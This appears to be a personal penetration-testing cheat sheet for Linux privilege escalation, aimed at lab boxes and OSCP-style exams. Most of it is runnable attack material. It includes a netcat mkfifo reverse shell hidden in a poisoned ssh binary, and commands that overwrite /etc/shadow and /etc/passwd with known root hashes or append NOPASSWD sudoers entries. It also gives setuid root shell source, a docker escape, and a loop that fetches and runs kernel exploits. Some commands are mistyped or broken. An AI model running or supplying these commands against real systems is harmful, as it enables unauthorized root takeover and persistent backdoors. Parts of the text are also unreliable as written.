Linux

Take your time. Don't try to do too much at once. Remember small steps - don't try to jump to root using rshell. Maybe run a few commands to see what they do

Once you've found the patch to escalation click here:
https://github.com/Ignitetechnologies/Privilege-Escalation
Linux File System

Post exploitation

Shells

Linux Privilege Escalation Examples

https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/privilege-escalation/linux/linux-examples.rst

MindMap

MindMap for PE

Useful commands to run

https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List

Things to look for

  • Miss-configured services (cronjobs)

    • any running as a privileged user?

  • Incorrect file permissions (exportfs, sudo)

  • Miss-configured environment ($PATH)

  • Binary with SUID bit

  • Software or OS with known vulnerabilities

  • Docker usergroup

SUDO

Read http://touhidshaikh.com/blog/?p=790

Can you su to root without a password?

su root

If you get an error "su: must be run from a terminal" use one of the shell fixes above

root ALL=(ALL) ALL
The root user can execute from ALL terminals, acting as ALL (any) users, and run ALL (any) command.
jelly ALL= /sbin/poweroff
The user jelly can from any terminal, run the command power off using jelly's user password.
jelly ALL = (root) NOPASSWD: /usr/bin/find
The user jelly can from any terminal, run the command find as root user without password.

Are you a sudo user already? Do you have access to powerful commands like chown or chmod?

sudo su -

Are you part of the sudo group, but not in the sudoers file?

id # 27(sudo)
pkexec sh

What can we run with sudo?

sudo -l

Try su as all users and the username as password

User bash history

cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat ~/.php_history

Spawning root shells

Create a copy of /bin/bash or /bin/sh can you call it rootbash - make sure its owned by the root user. Then use /bin/bash -p to run it

Questions to ask yourself

What user with what permissions + where am I?

id
pwd

What usernames could I login as?

 grep -vE "nologin|false" /etc/passwd

What architecture?

uname -m

Whats running on the machine?

ps aux

look for something(s) that are running which is not standard

What files does the user have permission? 

find / -user $USER
find / -name -*$USER* # looks for files with the username in it

What services are running?

netstat -antup

if things are here that are not on the nmap scan - could be a firewall rule blocking it is mysql in there? If so creds will be stored somewhere on the box

What is installed?

dpkg -l | awk '$1 ~ /ii/{print $2,$3}'
rpm -qa
#copy output over to kali and run /scripts/linux/pkg_lookup.sh to find a vulnerable version or do below

Run on target 

FILE="packages.txt"; FILEPATH="/tmp/$FILE"; /usr/bin/rpm -q -f /usr/bin/rpm >/dev/null 2>&1; if [ $? -eq 0 ]; then rpm -qa --qf "%{NAME} %{VERSION}\n" | sort -u > $FILEPATH; echo "kernel $(uname -r)" >> $FILEPATH; else dpkg -l | grep ii | awk '{print $2 " " substr($3,1)}' > $FILEPATH; echo "kernel $(uname -r)" >> $FILEPATH; fi; echo ""; echo "[>] Done. Transfer $FILEPATH to your computer and run: "; echo ""; echo "./packages_compare.sh /path/to/$FILE"; echo "";

Copy /tmp/packages.txt which it has created back to your machine and then run

#download this
https://raw.githubusercontent.com/rowbot1/burmatscripts/master/bash/vuln_pkg_lookup.sh
./vuln_pkg_loookup.sh packages.txt
# Common locations for user installed software
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/

# Debian
dpkg -l

# CentOS, OpenSuse, Fedora, RHEL
rpm -qa (CentOS / openSUSE )

# OpenBSD, FreeBSD
pkg_info

What kernel version - low hanging fruit?

uname -a

What web app creds can i find?

find . -iname 'config' 2>/dev/null

Research where creds would be stored on certain webapps

Can you see the shadow file - get lucky?

cat /etc/shadow

What services are running as root?:

ps aux | grep root

Look for vulnerable/privileged components such as: mysql, sudo, udev, python

If /etc/exports if writable, you can add an NFS entry or change and existing entry adding the no_root_squash flag to a root directory, put a binary with SUID bit on, and get root.

Some programs that can be used to spawn a shell:

nmap
vim
less
more

Docker

Are you in a docker usergroup

uid=1000($user)gid=1000($user)groups=1000($user),24(cdrom),25(floppy),999(docker)

Get the image name docker ps then run

docker run -v /:/mnt --rm -it $imagenamehere chroot /mnt sh

this will then get you a root shell

https://gtfobins.github.io/gtfobins/docker/

Cron Jobs

What jobs are scheduled?

crontab -l 2>/dev/null
ls -alh /var/spool/cron 2>/dev/null
ls -al /etc/ | grep cron 2>/dev/null
ls -al /etc/cron* 2>/dev/null
cat /etc/cron* 2>/dev/null
cat /etc/at.allow 2>/dev/null
cat /etc/at.deny 2>/dev/null
cat /etc/cron.allow 2>/dev/null
cat /etc/cron.deny 2>/dev/null
cat /etc/crontab 2>/dev/null
cat /etc/anacrontab 2>/dev/null
cat /var/spool/cron/crontabs/root 2>/dev/null

If there is a cronjob that runs as run but it has incorrect file permissions, you can change it to run your SUID binary and get a shell.

The following command will list processes running by root, permissions and NFS exports.

echo 'services running as root'; ps aux | grep root;  echo 'permissions'; ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'; echo 'nfs info'; ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null

Use netstat to find other machines connected

netstat -ano

Confidential information and users

id
su
sudo -l
cat /etc/passwd
cat /etc/shadow
cat /etc/group
cat /etc/sudoers # who is in there are you?
ls -alh /var/mail/
ls -ahlR /root
ls -ahlR /home/
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 {print $1}' #any other super users?

Find interesting files and directories fast

find / -name "*.txt" 2> >(grep -v 'Permission denied' >&2)

grep -R -i "password" 2> >(grep -v 'Permission denied' >&2)

File Write

If you can write to any of these files or directories you have a good chance of PE

~/.ssh/authorized_keys
/var/www/html
/var/spool/cron/crontabs/$user
/etc/crontab
/etc/cron.*
$PATH or Libraries(.py)
/etc/systemd/system
/etc/init.d
/etc/sudoers

If you have found a download it to your box and open it in Ghidra. Check the main function to view de-compiled commands interesting binary SUID files / binaries

Things to remember:

  • Run strings on the binary. Read all of it, don't just read the bottom of the output - read the top. Look for programs that the binary calls like curl. If you spot one then if it doesn't have its full path you can exploit it by modifying the path variable and creating a file with /bin/bash. See box symofonos:1.

The file will run as the owner no matter who executes it. So if root owns it, we can run it and hijack it to become root

ltrace ./binary
# step through binary may result in revealing password if password is needed to run it

Capabilities

Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.

https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities

Capabilities name

Description

CAP_AUDIT_CONTROL

Allow to enable/disable kernel auditing

CAP_AUDIT_WRITE

Helps to write records to kernel auditing log

CAP_BLOCK_SUSPEND

This feature can block system suspends

CAP_CHOWN

Allow user to make arbitrary change to files UIDs and GIDs (full filesystem access)

CAP_DAC_OVERRIDE

This helps to bypass file read, write and execute permission checks (full filesystem access)

CAP_DAC_READ_SEARCH

This only bypass file and directory read/execute permission checks

CAP_FOWNER

This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file

CAP_KILL

Allow the sending of signals to processes belonging to others

CAP_SETGID

Allow changing of the GID

CAP_SETUID

Allow changing of the UID (set UID of root in you process)

CAP_SETPCAP

Helps to transferring and removal of current set to any PID

CAP_IPC_LOCK

This helps to lock memory

CAP_MAC_ADMIN

Allow MAC configuration or state changes

CAP_NET_RAW

Use RAW and PACKET sockets

CAP_NET_BIND_SERVICE

SERVICE Bind a socket to internet domain privileged ports

CAP_SYS_CHROOT

Ability to call chroot()

World-writable folders

find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

World-executable folders

find / -perm -o x -type d 2>/dev/null

World-writeable & executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null

gives a bit more info

find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root

Word writable directories for root

find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root

Look for binaries with the SUID or GUID bits set.

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null
find / -perm -1000 -type d 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

In plain English, this command says to find files in the / directory owned by the user root with SUID permission bits (-perm -4000), print them, and then redirect all errors (2 = stderr) to /dev/null (where they get thrown away). The reason for this redirect is that we aren't interested in things that we can't access, and access denied errors can fill up a terminal pretty fast.

Adding a binary to PATH, to hijack another SUID binary invokes it without the fully qualified path.

function /usr/bin/foo () { /usr/bin/echo "It works"; }
export -f /usr/bin/foo
/usr/bin/foo
It works

If you can get root to execute anything, the following will change a binary owner to him and set the SUID flag:

chown root:root /tmp/setuid;chmod 4777 /tmp/setuid;
#look for the string password in files in the current directory
grep -rwl "password"

/etc/shadow overwrite

If a SUID binary allows you to write to a file, overwrite /etc/shadow with the following then su to root using password rowbot

root:$6$saltsalt$zjiFtiGFBUkyU86/TTUE1Dgg6ZNem6QUdhcVVRsjLXvWGjCm90F/2.PDpGOfGCspP0/j6a6YLlImSqQZIUmqc.:18294:0:99999:7:::

Check running services and installed applications

ps -ef cat /etc/services dpkg -l rpm -qa

An example here is for instance that you see a local database like mysql is running. Maybe you are able to find credentials for it and log into it locally on the box

If MYSQL is running as root, you can run commands using sys_exec(). For instance, to add user to sudoers:

ps -aux | grep root | grep mysql
sys_exec('usermod -a -G admin username')

More about MYSQL:

https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/

Command to skip ignored lines in config files

alias nonempty="egrep -v '^[ \t]*#|^$'"

Find Linux distribution & version

cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release; cat /etc/redhat-release;

Check versions - use in conjunction with searchsploit

dpkg -l
rpm -qa
httpd -v
mysql --version
python --version
ruby -v

Architecture

cat /etc/*release
uname -m

Environment variables

cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set

Find printers

lpstat -a

Find apps installed;

ls -alh /usr/bin/; ls -alh /sbin/; dpkg -l; rpm -qa; ls -alh /var/cache/apt/archivesO; ls -alh /var/cache/yum/*;

Find writable configuration files

find /etc/ -writable -type f 2>/dev/null

Miss-configured services

cat /etc/syslog.conf; cat /etc/chttp.conf; cat /etc/lighttpd.conf; cat /etc/cups/cupsd.conf; cat /etc/inetd.conf; cat /etc/apache2/apache2.conf; cat /etc/my.conf; cat /etc/httpd/conf/httpd.conf; cat /opt/lampp/etc/httpd.conf; ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'

Scheduled jobs

crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron*; cat /etc/cron*; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny'

https://www.ghacks.net/2009/04/04/get-to-know-linux-the-etcinitd-directory/

Grep hardcoded passwords

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

if web server run in web root:

grep "localhost" ./ -R

Network configuration

/sbin/ifconfig -a; cat /etc/network/interfaces; cat /etc/sysconfig/network; cat /etc/resolv.conf; cat /etc/sysconfig/network; cat /etc/networks; iptables -L; hostname; dnsdomainname

List other users home directories

ls -ahlR /root/; ls -ahlR /home/

User mails

cat ~/.bashrc; cat ~/.profile; cat /var/mail/root; cat /var/spool/mail/root

Find interesting binaries

find / -name wget 2>/dev/null; find / -name nc* 2>/dev/null; find / -name netcat* 2>/dev/null; find / -name tftp* 2>/dev/null; find / -name ftp 2>/dev/null

Mounted filesystems

mount; df -h; cat /etc/fstab

If you can just change PATH, the following will add a poisoned ssh binary:

 set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
 echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
 chmod +x ssh
#Ippsec demoing $PATH PE
https://www.youtube.com/watch?v=3VxZNflJqsw

Generating SUID C Shell for /bin/bash

int main() {
    setuid(0);
    system("/bin/bash -p");
}

Compile using gcc -o <name> <filename.c>

Without interactive shell

echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c

If /etc/passwd has incorrect permissions, you can root:

echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd; su
or
echo "root:JblITMXA7I1hg:0:0:root:/root:/bin/bash" > /etc/passwd
then su using password rowbot

or

openssl passwd
#put in password, output is random sting
#pass this on the x part of root in /etc/passwd
su root using the password u set

Add user www-data to sudoers without password

chmod 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

If you can sudo chmod:

echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c $ sudo chown root:root /tmp/setuid; sudo chmod 4777 /tmp/setuid; /tmp/setuid

Wildcard injection if there is a cron with a wildcard in the command line, you can create a file, whose name will be passed as an argument to the cron task, For more info:

https://www.sans.org/reading-room/whitepapers/testing/attack-defend-linux-privilege-escalation-techniques-2016-37562

compile exploit fix error

gcc 9545.c -o 9545 -Wl,--hash-style=both

Find other uses in the system

 $id; who; w; last; cat /etc/passwd | cut -d: -f1; echo 'sudoers:'; cat /etc/sudoers; sudo -l
grep home /etc/passwd|cut -d: -f1

World readable/writable files:

cho "world-writeable folders"; find / -writable -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -222 -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -o w -type d 2>/dev/null; echo "world-executable folders"; find / -perm -o x -type d 2>/dev/null; echo "world-writeable & executable folders"; find / \( -perm -o w -perm -o x \) -type d 2>/dev/null;

Find world-readable files:

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print

Find nobody owned files

ind /dir -xdev \( -nouser -o -nogroup \) -print

Add user to sudoers in python.

#!/usr/bin/env python
import os
import sys
try:
        os.system('echo "username ALL=(ALL:ALL) ALL" >> /etc/sudoers')
except:
        sys.exit()

Ring0 kernel exploit for 2.3/2.4

wget http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c; gcc 36038-6.c -m32 -o ring0; chmod +x ring0; ./ring0

Inspect web traffic

tcpdump tcp port 80 -w output.pcap -i eth0

Scripts to run

Copy them over

Creates folder /tmp/rowbot and copies files on kali web server to target

wget -nd -np -R "index.html*" -P /tmp/rowbot --recursive http://kali$ip

What is running, any cron jobs any scripts? Use PSPY to find out

https://github.com/DominicBreuker/pspy

Useful script to run for initial scan - displays info on box

wget https://raw.githubusercontent.com/bngr/OSCP-Scripts/master/bangenum.sh
sed -i -e 's/\r$//' bangenum.sh
./bangenum.sh

Use this tool first to help you get in the PE mindset.

https://github.com/diego-treitos/linux-smart-enumeration

SUID search - good tool

https://github.com/Anon-Exploiter/SUID3NUM
https://github.com/TH3xACE/SUDO_KILLER

Automatically downloads and compiles exploit

The following script runs exploit suggester and automatically downloads and executes suggested exploits:

wget https://raw.githubusercontent.com/wwong99/pentest-notes/master/scripts/xploit_installer.py
USAGE: xploit_installer.py <exploit id>

Linux Remote Exploits

47: shellshock
48: heartbleed

Kernelpop

automated kernel vulnerability enumeration and exploitation

https://github.com/spencerdodd/kernelpop

Linux Local Exploits

49: linux-exploit-suggester
50: unix_privesc_check
51: kernel 2.4.x / 2.6.x (sock_sendpage 1)
52: kernel 2.4 / 2.6 (sock_sendpage 2)
53: kernel < 2.6.22 (ftruncate)
54: kernel < 2.6.34 (cap_sys_admin)
55: kernel 2.6.27 < 2.6.36 (compat)
56: kernel < 2.6.36-rc1 (can bcm)
57: kernel <= 2.6.36-rc8 (rds protocol)
58: *kernel < 2.6.36.2 (half nelson)
59: *kernel <= 2.6.37 (full nelson)
60: kernel 2.6 (udev)
61: kernel 3.13 (sgid)
62: kernel 3.13.0 < 3.19 (overlayfs 1)
63: kernel 3.14.5 (libfutex)
64: kernel 2.6.39 <= 3.2.2 (mempodipper)
65: *kernel 2.6.28 / 3.0 (alpha-omega)
66: kernel 2.6.22 < 3.9 (Dirty Cow)
67: kernel 3.7.6 (msr)
68: *kernel < 3.8.9 (perf_swevent_init)
69: kernel <= 4.3.3 (overlayfs 2)
70: kernel 4.3.3 (overlayfs 3)
71: kernel 4.4.0 (af_packet)
72: kernel 4.4.x (double-fdput)
73: kernel 4.4.0-21 (netfilter)
74: *kernel 4.4.1 (refcount)
wget http://www.securitysift.com/download/linuxprivchecker.py

Linux Kernel Exploits

Check kernel version

uname -r : Find Linux kernel version.
cat /proc/version : Show Linux kernel version with help of a special file.
hostnamectl | grep Kernel : For systemd based Linux distro you can use hotnamectl to display hostname and running Linux kernel version.

Then do a search for it on this page

https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md
https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md

Unix Priv checker

wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/upc.sh

Other scripts:

wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py

LinEnum

Remember to run them again if you get a user shell not just www-data shell

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
./LinEnum.sh -t -r report.txt

LinuxPrivchecker.py

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
wget https://raw.githubusercontent.com/PenturaLabs/Linux_Exploit_Suggester/master/Linux_Exploit_Suggester.pl
wget  https://www.rebootuser.com/?p=1758

Exploits worth running

Always be sure to read the comments in exploits they inform you about which systems and version are vulnerable, which parts of the script need modification & which compilation flags to use. $targetip 32 bit or 64 bit? Be mindful of this when compiling exploits.

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation

https://www.exploit-db.com/exploits/37292

CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8

https://www.exploit-db.com/exploits/15285/

Linux Kernel <= 2.6.37 'Full-Nelson.c'

https://www.exploit-db.com/exploits/15704/

CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)

https://git.zx2c4.com/CVE-2012-0056/about/

Linux CVE 2012-0056

wget -O exploit.c <http://www.exploit-db.com/download/18411>
  gcc -o mempodipper exploit.c
  ./mempodipper

CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

https://dirtycow.ninja/

Compile dirty cow:

 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

Cross compiling exploits

gcc -m32 -o output32 hello.c #(32 bit)
gcc -m64 -o output hello.c # (64 bit)

Linux 2.6.32

https://www.exploit-db.com/exploits/15285/

Elevation in 2.6.x:

for a in 9352 9513 33321 15774 15150 15944 9543 33322 9545 25288 40838 40616 40611 ; do wget http://yourIP:8000/$a; chmod +x $a; ./$a; id; done

Get proof

echo " ";echo "uname -a:";uname -a;echo " ";echo "hostname:";hostname;echo " ";echo "id";id;echo " ";echo "ifconfig:";/sbin/ifconfig -a;echo " ";echo "proof:";cat /root/proof.txt 2>/dev/null; cat /Desktop/proof.txt 2>/dev/null;echo " "

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